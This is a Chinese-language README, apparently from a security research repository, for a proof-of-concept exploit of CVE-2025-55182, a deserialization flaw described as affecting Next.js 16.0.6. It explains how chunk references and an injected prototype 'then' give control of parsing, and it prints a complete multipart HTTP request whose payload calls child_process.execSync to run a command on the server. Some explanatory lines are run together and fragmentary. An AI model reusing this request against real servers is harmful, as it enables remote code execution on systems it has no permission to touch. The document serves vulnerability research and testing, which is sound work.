
更侧重于利用;非常适合安全研究仓库。
此仓库包含一个针对 CVE-2025-55182 的有效概念验证(POC),该漏洞是影响 Next.js 16.0.6 的一个严重反序列化漏洞。
该利用滥用 $@ 块反序列化和 Chunk.prototype.then,以完全控制块解析过程,并在服务器上实现 任意代码执行(RCE)。
Next.js 使用内部的 Chunk 对象以及一个用于服务器操作的流式/反序列化机制。
通过滥用 $@ 来反序列化一个 Chunk 引用,并将 Chunk.prototype.then 注入根对象,攻击者可以:
then(...) 时使用攻击者控制的 thisstatus 设置为 resolved_modelinitializeModelChunkchunk._response 方法以触发危险的内部行为最终目标是触发 Blob 反序列化,该反序列化会执行类似如下的调用:
response._formData.get(response._prefix)
通过设置 response._formData.get = Function 并在 response._prefix 中放入任意代码,攻击者可以执行任意系统命令。
位于 poc/CVE-2025-55182.http 中的 HTTP 请求演示了针对本地运行的 Next.js 16.0.6 的利用,通过 child_process.execSync 弹出 xcalc:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
本项目仅供教育和研究目的。 禁止在您不拥有或未经明确书面许可的系统上使用此利用。
作者对任何滥用或造成的损害不承担任何责任。